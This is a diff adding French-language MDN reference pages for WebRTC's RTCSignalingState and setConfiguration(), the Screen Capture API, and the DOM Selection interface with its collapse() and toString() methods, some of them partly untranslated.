+<p>The <code>RTCSignalingState</code> enum specifies the possible values of {{domxref("RTCPeerConnection.signalingState")}}, which indicates where in the process of signaling the exchange of offer and answer the connection currently is.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"stable"</code></td>
+   <td>There is no ongoing exchange of offer and answer underway. This may mean that the {{domxref("RTCPeerConnection")}} object is new, in which case both the {{domxref("RTCPeerConnection.localDescription", "localDescription")}} and {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} are <code>null</code>; it may also mean that negotiation is complete and a connection has been established.</td>
+  </tr>
+  <tr>
+   <td><code>"have-local-offer"</code></td>
+   <td>The local peer has called {{domxref("RTCPeerConnection.setLocalDescription()")}}, passing in SDP representing an offer (usually created by calling {{domxref("RTCPeerConnection.createOffer()")}}), and the offer has been applied successfully.</td>
+  </tr>
+  <tr>
+   <td><code>"have-remote-offer"</code></td>
+   <td>The remote peer has created an offer and used the signaling server to deliver it to the local peer, which has set the offer as the remote description by calling {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td>
+  </tr>
+  <tr>
+   <td><code>"have-local-pranswer"</code></td>
+   <td>The offer sent by the remote peer has been applied and an answer has been created (usually by calling {{domxref("RTCPeerConnection.createAnswer()")}}) and applied by calling {{domxref("RTCPeerConnection.setLocalDescription()")}}. This provisional answer describes the supported media formats and so forth, but may not have a complete set of ICE candidates included. Further candidates will be delivered separately later.</td>
+  </tr>
+  <tr>
+   <td><code>"have-remote-pranswer"</code></td>
+   <td>A provisional answer has been received and successfully applied in response to an offer previously sent and established by calling <code>setLocalDescription()</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code> {{obsolete_inline}}</td>
+   <td>
+    <p>La connection est fermée.</p>
+
+    <div class="note">
+    <p><strong>Note :</strong> Cette valeur a été déplacée dans le <a href="#RTCPeerConnectionState_enum"><code>RTCPeerConnectionState</code> enum</a> dans le brouillon de cette spécification du 13 mai 2016, pour qu'il reflète l'état de <code>RTCPeerConnection</code>, et non la connection de signalisation. Vous pouvez maintenant détecter une connection fermée en vérifiant à la place que l'état de la connection {{domxref("RTCPeerConnection.connectionState", "connectionState")}} est indiquée <code>"closed"</code>.</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#interface-definition', 'RTCPeerConnection')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js">https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple">http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple</a></li>
+ <li><a href="https://github.com/chrisjohndigital/TutorRoom">TutorRoom</a>: Node.js HTML5 video capture, peer-to-peer video and filesharing application (<a href="https://github.com/chrisjohndigital/TutorRoom">source on GitHub</a>)</li>
+</ul>
diff --git a/files/fr/web/api/rtcpeerconnection/setconfiguration/index.html b/files/fr/web/api/rtcpeerconnection/setconfiguration/index.html
new file mode 100644
index 0000000000..8d4c85f582
--- /dev/null
+++ b/files/fr/web/api/rtcpeerconnection/setconfiguration/index.html
@@ -0,0 +1,105 @@
+---
+title: RTCPeerConnection.setConfiguration()
+slug: Web/API/RTCPeerConnection/setConfiguration
+tags:
+  - Experimental
+  - Méthode
+  - Reference
+  - WebRTC
+  - setConfiguration
+translation_of: Web/API/RTCPeerConnection/setConfiguration
+---
+<div>{{APIRef("WebRTC")}}{{SeeCompatTable}}</div>
+
+<p>La méthode <strong><code>RTCPeerConnection.setConfiguration()</code></strong> définit la configuration courante pour la connexion {{domxref("RTCPeerConnection")}} en fonction des valeurs des propriétés de l'objet {{domxref("RTCConfiguration")}} passé en argument. Cela permet de modifier les serveurs ICE et les règles de transport utilisés par la connexion.</p>
+
+<p>Le cas d'usage le plus probable (bien qu'il ne soit probablement pas répandu) est le remplacement des serveurs ICE à utiliser. Voici deux scénarios pour lesquels cela pourrait se produire :</p>
+
+<ul>
+ <li>L'objet {{domxref("RTCPeerConnection")}} a été instancié sans qu'un serveur ICE soit spécifié. Si le constructeur {{domxref("RTCPeerConnection.RTCPeerConnection()", "RTCPeerConnection()")}} a été appelé sans paramètre, on doit alors appeler <code>setConfiguration()</code> pour ajouter des serveurs ICE avant que la négociation ICE puisse avoir lieu.</li>
+ <li>La connexion doit être renégociée et il faut utiliser un autre ensemble de serveurs ICE pour une certaine raison (ex. l'utilisateur s'est déplacé dans une nouvelle région et il faut donc utiliser de nouveaux serveurs ICE régionaux). Dans ce cas, on pourra appeler <code>setConfiguration()</code> pour passer sur les serveurs régionaux puis initier <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#ICE_restart">un redémarrage ICE</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> On ne peut pas changer les informations d'identité d'une connexion une fois que celle-ci a été créée.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.setConfiguration(<em>configuration</em>);</pre>
+
+<h3 class="syntaxbox" id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>configuration</code></dt>
+ <dd>Un objet {{domxref("RTCConfiguration")}} qui fournit les options à appliquer à la connexion. Les changements ne sont pas utilisés en addition mais remplacent les valeurs existantes.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>InvalidAccessError</code></dt>
+ <dd>Une ou plusieurs URL indiquées dans <code>configuration.iceServers</code> sont des serveurs {{Glossary("TURN")}} mais les informations d'authentification ne sont pas complètes (il manque {{domxref("RTCIceServer.username")}} ou {{domxref("RTCIceServer.credentials")}}). Cela empêche une connexion/identification correcte sur le serveur.</dd>
+ <dt><code>InvalidModificationError</code></dt>
+ <dd>L'objet <code>configuration</code> contient des changements relatifs à l'identité alors que la connexion a déjà ces informations indiquées. Cela se produit lorsque <code>configuration.peerIdentity</code> ou <code>configuration.certificates</code> sont définies et que leurs valeurs diffèrent de la configuration courante.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>La connexion ({{domxref("RTCPeerConnection")}}) est fermée.</dd>
+ <dt><code>SyntaxError</code></dt>
+ <dd>Une ou plusieurs URL fournies dans la liste <code>configuration.iceServers</code> sont invalides.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on a déjà determiné qu'un redémarrage ICE est nécessaire et que la négociation ICE doit se faire sur un nouveau serveur.</p>
+
+<pre class="brush: js">var restartConfig = { iceServers: [{
+                          urls: "turn:asia.myturnserver.net",
+                          username: "allie@oopcode.com",
+                          credential: "topsecretpassword"
+                      }]
+};
+
+myPeerConnection.setConfiguration(restartConfig);
+
+myPeerConnection.createOffer({"iceRestart": true}).then(function(offer) {
+  return myPeerConnection.setLocalDescription(offer);
+})
+.then(function() {
+  // send the offer to the other peer using the signaling server
+})
+.catch(reportError);</pre>
+
+<p>Pour commencer, on crée une {{domxref("RTCConfiguration")}}, <code>restartConfig</code>, en indiquant le nouveau serveur ICE et les informations de connexion associées. Cet objet est alors passé à <code>setConfiguration()</code>. La négociation ICE est redémarrée via {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}} pour laquelle on indique <code>true</code> pour l'option <code>iceRestart</code>. Ensuite, on gère le processus habituel en définissant la description locale de l'offre et en envoyant cette offre à l'autre pair.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setConfiguration-void-RTCConfiguration-configuration', 'setConfiguration()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.RTCPeerConnection.setConfiguration")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.getConfiguration()")}}</li>
+ <li>{{domxref("RTCConfiguration")}}</li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/fr/web/api/screen_capture_api/index.html b/files/fr/web/api/screen_capture_api/index.html
new file mode 100644
index 0000000000..6ba5ed0468
--- /dev/null
+++ b/files/fr/web/api/screen_capture_api/index.html
@@ -0,0 +1,141 @@
+---
+title: Screen Capture API
+slug: Web/API/Screen_Capture_API
+tags:
+  - API
+  - Capture
+  - Conference
+  - Media
+  - MediaDevices
+  - Overvew
+  - Screen Capture
+  - Screen Sharing
+  - Video
+  - Window
+  - display
+  - getDisplayMedia
+  - screen
+translation_of: Web/API/Screen_Capture_API
+---
+<div>{{DefaultAPISidebar("Screen Capture API")}}</div>
+
+<p><span class="seoSummary">The Screen Capture API introduces additions to the existing Media Capture and Streams API to let the user select a screen or portion of a screen (such as a window) to capture as a media stream.</span> This stream can then be recorded or shared with others over the network.</p>
+
+<h2 id="API_Screen_Capture_concepts_et_utilisation">API Screen Capture concepts et utilisation</h2>
+
+<p>L'API Screen Capture est relativement simple à utiliser. Sa seule méthode est {{domxref("MediaDevices.getDisplayMedia()")}} dont le but est de demander à l'utilisateur un écran ou une portion d'écran à capturer sous la forme de {{domxref("MediaStream")}}.</p>
+
+<p>Pour commencer à capturer une vidéo de l'écran, il faut appeler <code>getDisplayMedia()</code> dans une instance de <code>navigator.mediaDevices</code></p>
+
+<pre class="brush: js">captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);</pre>
+
+<p>La {{jsxref("Promise")}} retournée par <code>getDisplayMedia()</code> résout un {{domxref("MediaStream")}} qui diffuse le dédia capturé.</p>
+
+<p>Voir l'article <a href="/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Utiliser l'API Screen Capture</a> <span class="tlid-translation translation" lang="fr"><span title="">pour plus de détails sur l’utilisation de l’API pour capturer le contenu de l’écran sous forme de flux.</span></span></p>
+
+<h2 id="Ajouts_à_l'interface_actuelle">Ajouts à l'interface actuelle</h2>
+
+<p>L'API Screen Capture n'a pas sa propre interface. Cependant, elle ajoute une méthode à l'existante interface {{domxref("MediaDevices")}} .</p>
+
+<h3 id="Interface_MediaDevices">Interface MediaDevices</h3>
+
+<dl>
+ <dt>{{domxref("MediaDevices.getDisplayMedia()")}}</dt>
+ <dd>La méthode <code>getDisplayMedia()</code> est ajoutée à l'interface <code>MediaDevices</code>. Similaire à {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, cette méthode crée une promise qui  method creates a promise qui résout un {{domxref("MediaStream")}} contenant  la zone d'affichage sélectionnée par l'utilisateur, dans un format qui correspond aux options spécifiées.</dd>
+</dl>
+
+<h2 id="Ajouts_aux_dictionnaires_actuels">Ajouts aux dictionnaires actuels</h2>
+
+<p>L'API Screen Capture ajoute des propriétés au dictionnaire suivant définit par d'autres spécificités.</p>
+
+<h3 id="MediaTrackConstraints">MediaTrackConstraints</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.cursor")}}</dt>
+ <dd>Un {{domxref("ConstrainDOMString")}}  indiquant si le curseur doit ou non être inclus dans le flux de la surface d'affichage capturée, et s'il doit toujours être visible ou s'il ne doit l'être que lorsque la souris est en mouvement.</dd>
+ <dt>{{domxref("MediaTrackConstraints.displaySurface")}}</dt>
+ <dd>Un {{domxref("ConstrainDOMString")}} indiquant quel type de surface d'affichage doit être capturé. La valeur peut être <code>application</code>, <code>browser</code>, <code>monitor</code>, ou <code>window</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.logicalSurface")}}</dt>
+ <dd>Indique si la vidéo dans le flux représente ou non une surface d'affichage logique (c'est-à-dire une surface qui peut ne pas être entièrement visible à l'écran ou peut-être complètement hors écran). La valeur <code>true</code> indique qu'une surface d'affichage logique doit être capturée.</dd>
+</dl>
+
+<h3 id="MediaTrackSettings">MediaTrackSettings</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackSettings.cursor")}}</dt>
+ <dd>Une chaîne de caractères indiquant si la surface d'affichage en cours de capture comprend ou non le curseur de la souris et, dans l'affirmative, si elle est visible uniquement lorsque la souris est en mouvement ou si elle est toujours visible. La valeur peut être <code>always</code>, <code>motion</code>, ou <code>never</code>.</dd>
+ <dt>{{domxref("MediaTrackSettings.displaySurface")}}</dt>
+ <dd>Une chaîne indiquant le type de surface d'affichage en cours de capture. La valeur peut être<code>application</code>, <code>browser</code>, <code>monitor</code>, ou <code>window</code>.</dd>
+ <dt>{{domxref("MediaTrackSettings.logicalSurface")}}</dt>
+ <dd>Valeur booléenne valant <code>true</code> si la vidéo en cours de capture ne correspond pas directement à une seule zone d'affichage à l'écran.</dd>
+</dl>
+
+<h3 id="MediaTrackSupportedConstraints">MediaTrackSupportedConstraints</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackSupportedConstraints.cursor")}}</dt>
+ <dd>Valeur booléenne valant <code>true</code> si l'environnement actuel supporte la contrainte {{domxref("MediaTrackConstraints.cursor")}}.</dd>
+ <dt>{{domxref("MediaTrackSupportedConstraints.displaySurface")}}</dt>
+ <dd>Valeur booléenne valant <code>true</code> si l'environnement actuel supporte la contrainte {{domxref("MediaTrackConstraints.displaySurface")}}.</dd>
+ <dt>{{domxref("MediaTrackSupportedConstraints.logicalSurface")}}</dt>
+ <dd>Valeur booléenne valant <code>true</code> si l'environnement actuel supporte la contrainte {{domxref("MediaTrackConstraints.logicalSurface")}}.</dd>
+</dl>
+
+<h2 id="Dictionnaires">Dictionnaires</h2>
+
+<p>Le dictionnaire suivant est difinit par l'API Screen Capture.</p>
+
+<dl>
+ <dt><code>CursorCaptureConstraint</code></dt>
+ <dd>Un type de chaîne énuméré utilisé pour fournir la valeur de la propriété <code>cursor</code> aux paramètres et aux contraintes. La valeur peut être <code>always</code>, <code>motion</code>, ou <code>never</code>.</dd>
+ <dt><code>DisplayCaptureSurfaceType</code></dt>
+ <dd>Un type de chaîne énuméré utilisé pour identifier le type de surface d'affichage à capturer. ce type est utilisé pour la propriété <code>displaySurface</code> dans les objets contraints et paramètres, et a plusieurs valeurs possibles <code>application</code>, <code>browser</code>, <code>monitor</code>, and <code>window</code>.</dd>
+</dl>
+
+<h2 id="Validation_de_Feature_Policy">Validation de Feature Policy</h2>
+
+<p>{{Glossary("User agent", "User agents")}} qui supportent  Feature Policy (soit en utilisant les entetes HTTP {{HTTPHeader("Feature-Policy")}} ou l'attribut {{HTMLElement("iframe")}}{{htmlattrxref("allow", "iframe")}} peut spécifier la volonté d'utiliser l'API Screen Capture API en utilisant la directive Policy Controle <code>display-capture</code>:</p>
+
+<pre class="brush: html">&lt;iframe allow="display-capture" src="/some-other-document.html"&gt;</pre>
+
+<p>La liste d’autorisations par défaut est <code>self</code>, ce qui permet à tout contenu du document d’utiliser Screen Capture.</p>
+
+<p>Voir <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a> pour une explication plus en détail sur comment est utilisé Feature Policy.</p>
+
+<h2 id="Caracteristiques">Caracteristiques</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Caracteristiques</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Screen Capture')}}</td>
+   <td>{{Spec2('Screen Capture')}}</td>
+   <td>Définition Initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_Navigateurs">Compatibilité des Navigateurs</h2>
+
+<div>
+
+
+<div>
+
+
+<p>{{Compat("api.MediaDevices.getDisplayMedia")}}</p>
+</div>
+
+
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Utiliser l'API Screen Capture</a></li>
+ <li>{{domxref("MediaDevices.getDisplayMedia()")}}</li>
+</ul>
diff --git a/files/fr/web/api/selection/collapse/index.html b/files/fr/web/api/selection/collapse/index.html
new file mode 100644
index 0000000000..9eff106240
--- /dev/null
+++ b/files/fr/web/api/selection/collapse/index.html
@@ -0,0 +1,119 @@
+---
+title: Selection.collapse()
+slug: Web/API/Selection/collapse
+tags:
+  - API
+  - Edition HTML
+  - Experimental
+  - Method
+  - Reference
+  - Selection
+translation_of: Web/API/Selection/collapse
+---
+<div>{{ApiRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>La méthode <strong><code>Selection.collapse()</code></strong> positionne la sélection en cours en un seul point. Le document n'est pas modifié. Si le focus est sur le contenu et est modifiable, le curseur d'édition s'y positionnera et sera visible.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>sel</var>.collapse(<var>parentNode</var>, <var>offset</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em><code>parentNode</code></em></dt>
+ <dd>Le curseur d'édition sera placé à l'intérieur de ce noeud.</dd>
+</dl>
+
+<dl>
+ <dt><em><code>offset</code></em></dt>
+ <dd>Indique la position du curseur d'édition dans <code>parentNode</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">/* Positionner le curseur au début de l'élément body d'un document HTML. */
+var body = document.getElementsByTagName("body")[0];
+window.getSelection().collapse(body,0);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selection API', '#widl-Selection-collapse-void-Node-node-unsigned-long-offset', 'Selection.collapse()')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#dom-selection-collapse', 'Selection.collapse()')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Selection")}}, l'interface à laquelle collapse appartient.</li>
+</ul>
diff --git a/files/fr/web/api/selection/index.html b/files/fr/web/api/selection/index.html
new file mode 100644
index 0000000000..b6dc3d0940
--- /dev/null
+++ b/files/fr/web/api/selection/index.html
@@ -0,0 +1,106 @@
+---
+title: selection
+slug: Web/API/Selection
+translation_of: Web/API/Selection
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>La classe de l'objet retourné par <code><a href="Window/getSelection"> window.getSelection()</a></code>, <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/getSelection" title="Cette méthode fonctionne de manière identique à la méthode Window.getSelection () ; elle renvoie un objet Selection représentant le texte actuellement sélectionné dans le document."><code>document.getSelection()</code></a> et d'autres méthodes.</p>
+
+<h3 id="Description" name="Description">Description</h3>
+
+<p>Un objet <code>selection</code> représente les <a href="range">plages</a> sélectionnées par l'utilisateur. Habituellement, il ne contient qu'une seule plage accessible comme ceci :</p>
+
+<pre class="eval">range = sel.getRangeAt(0);
+</pre>
+
+<p>L'appel de la méthode <code><a href="Selection/toString">toString()</a></code> renvoie le texte contenu dans la sélection. Cet appel peut être automatique, par exemple lorsque l'objet est passé à la fonction alert() : </p>
+
+<pre class="eval">selObj = window.getSelection();
+window.alert(selObj);
+</pre>
+
+<h3 id="Glossaire" name="Glossaire">Glossaire</h3>
+
+<p>Autres mots clés utilisés dans cette section.</p>
+
+<dl>
+ <dt>anchor (ancre)</dt>
+ <dd>L'« ancre » d'une sélection est son point de départ. Pour une sélection avec la souris, l'« ancre » correspond à l'endroit initialement pressé par le bouton de la souris. Quand l'utilisateur modifie la sélection à la souris ou au clavier, l'« ancre » ne change pas.</dd>
+ <dt>focus (focus)</dt>
+ <dd>Le « focus » d'une sélection est son point d'arrivée. Pour une sélection avec la souris, le « focus » correspond à l'endroit où le bouton de la souris est relaché. Quand l'utilisateur modifie la sélection à la souris ou au clavier, le « focus » pointe la fin de la sélection modifiée.</dd>
+ <dt>range (plage)</dt>
+ <dd>Une « plage » est une partie contigüe d'un document. Une « plage » peut contenir aussi bien des nœuds entiers que des portions de nœuds, comme un extrait de nœud texte. Habituellement, un utilisateur n'effectuera qu'une seule sélection à la fois, mais il lui est possible de sélectionner plusieurs « plages » (par ex. en utilisant la touche Ctrl). Une « plage » est obtenue depuis une sélection par l'objet <a href="range">range</a>. Les objets <code>range</code> peuvent également être créés via le DOM et ajoutés ou supprimés d'une sélection par programmation.</dd>
+</dl>
+
+<h3 id="Propri.C3.A9t.C3.A9s" name="Propri.C3.A9t.C3.A9s">Propriétés</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/Selection/anchorNode">anchorNode</a></dt>
+ <dd>Renvoie le nœud d'où la sélection commence.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/anchorOffset">anchorOffset</a></dt>
+ <dd>Renvoie un nombre correspondant au décalage de l'« ancre » de la sélection au sein de l'<code>anchorNode</code>. Si l'<code>anchorNode</code> est un noeud texte, il s'agit du nombre de caractères précédants l'« ancre » au sein de l'<code>anchorNode</code>. Si l'<code>anchorNode</code> est un élément, il s'agit du nombre de noeuds enfants de l'<code>anchorNode</code> précédant l'« ancre ».</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/focusNode">focusNode</a></dt>
+ <dd>Renvoie le nœud où la sélection se termine.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/focusOffset">focusOffset</a></dt>
+ <dd>Renvoie un nombre correspondant au décalage du « focus » de la sélection au sein du focus<code>Node</code>. Si le focus<code>Node</code> est un noeud texte, il s'agit du nombre de caractères précédants le « focus » au sein du focus<code>Node</code>. Si le focusNode est un élément, il s'agit du nombre de noeuds enfants du focus<code>Node</code> précédant le « focus ».</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/isCollapsed">isCollapsed</a></dt>
+ <dd>Renvoie un booléen indiquant si le point de départ et d'arrivée sont à la même position.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/rangeCount">rangeCount</a></dt>
+ <dd>Renvoie le nombre de « plages » dans la sélection.</dd>
+</dl>
+
+<h3 id="M.C3.A9thodes" name="M.C3.A9thodes">Méthodes</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/Selection/getRangeAt">getRangeAt</a></dt>
+ <dd>Renvoie un objet range représentant une des « plages » actuellement sélectionnée.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/collapse">collapse</a></dt>
+ <dd>Réduit la sélection courante à un simple point.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/extend">extend</a></dt>
+ <dd>Déplace le « focus » de la sélection à un endroit spécifié.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/collapseToStart">collapseToStart</a></dt>
+ <dd>Déplace le « focus » de la sélection au même point que l'« ancre ».</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/collapseToEnd">collapseToEnd</a></dt>
+ <dd>Déplace l'« ancre » de la sélection au même point que le « focus ». Le « focus » ne bouge pas.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/selectAllChildren">selectAllChildren</a></dt>
+ <dd>Ajoute tous les enfants d'un nœud spécifié à la sélection.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/addRange">addRange</a></dt>
+ <dd>Un objet range devant être ajouté à la sélection.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/removeRange">removeRange</a></dt>
+ <dd>Supprime une « plage » de la sélection.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/removeAllRanges">removeAllRanges</a></dt>
+ <dd>Supprime toutes les « plages » de la sélection.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/deleteFromDocument">deleteFromDocument</a></dt>
+ <dd>Efface le contenu de la sélection du document.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/selectionLanguageChange">selectionLanguageChange</a></dt>
+ <dd> </dd>
+ <dt><a href="/fr/docs/Web/API/Selection/toString">toString</a></dt>
+ <dd>Renvoie une chaîne de caractères représentant l'actuel objet <code>selection</code>, i.e. le texte sélectionné.</dd>
+ <dt><a href="/fr/docs/Web/API/Selection/containsNode">containsNode</a></dt>
+ <dd>Indique si un nœud donné appartient à la sélection.</dd>
+</dl>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Selection")}}</p>
+
+<h3 id="Voir_aussi" name="Voir_aussi">Voir aussi</h3>
+
+<p><a href="Window/getSelection">window.getSelection</a>, <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/getSelection" title="Cette méthode fonctionne de manière identique à la méthode Window.getSelection () ; elle renvoie un objet Selection représentant le texte actuellement sélectionné dans le document."><code>document.getSelection()</code></a>,<a href="range">Range</a></p>
+
+<h3 id="Liens_externes" name="Liens_externes">Liens externes</h3>
+
+<ul>
+ <li><a class="external" href="http://lxr.mozilla.org/mozilla/source/content/base/public/nsISelection.idl">Définition IDL dans Mozilla cross-reference</a></li>
+</ul>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection", "es": "es/DOM/Selection", "it": "it/DOM/Selection", "ja": "ja/DOM/selection", "pl": "pl/DOM/Selection" } ) }}</p>
diff --git a/files/fr/web/api/selection/tostring/index.html b/files/fr/web/api/selection/tostring/index.html
new file mode 100644
index 0000000000..760100faa5
--- /dev/null
+++ b/files/fr/web/api/selection/tostring/index.html
@@ -0,0 +1,31 @@
+---
+title: toString
+slug: Web/API/Selection/toString
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Selection/toString
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Renvoie une chaîne de caractères représentant l'actuel objet <code>selection</code>, i.e. le texte sélectionné.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval"><i>string</i> =<i>sel</i>.toString()
+</pre>
+<ul>
+ <li><code>string</code> est la représentation sous la forme d'une chaîne de caractères de la sélection.</li>
+</ul>
+<h3 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h3>
+<p>Aucun.</p>
+<h3 id="Description" name="Description">Description</h3>
+<p>Cette méthode renvoie le texte sélectionné.</p>
+<p>En <a href="fr/JavaScript">JavaScript</a>, cette méthode est appelée automatiquement pour des objets <code>selection</code> aux fonctions nécessitant un paramètre <code>string</code> :</p>
+<pre class="eval">alert(window.getSelection()) // Appel automatique
+alert(window.getSelection().toString())  // Appel explicite
+</pre>
+<h3 id="Voir_aussi" name="Voir_aussi">Voir aussi</h3>
+<ul>
+ <li><a href="fr/R%c3%a9f%c3%a9rence_de_JavaScript_1.5_Core/Objets_globaux/Object/toString">Object.toString</a></li>
+</ul>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/toString", "es": "es/DOM/Selection/toString", "it": "it/DOM/Selection/toString", "pl": "pl/DOM/Selection/toString" } ) }}</p>
diff --git a/files/fr/web/api/selection/type/index.html b/files/fr/web/api/selection/type/index.html
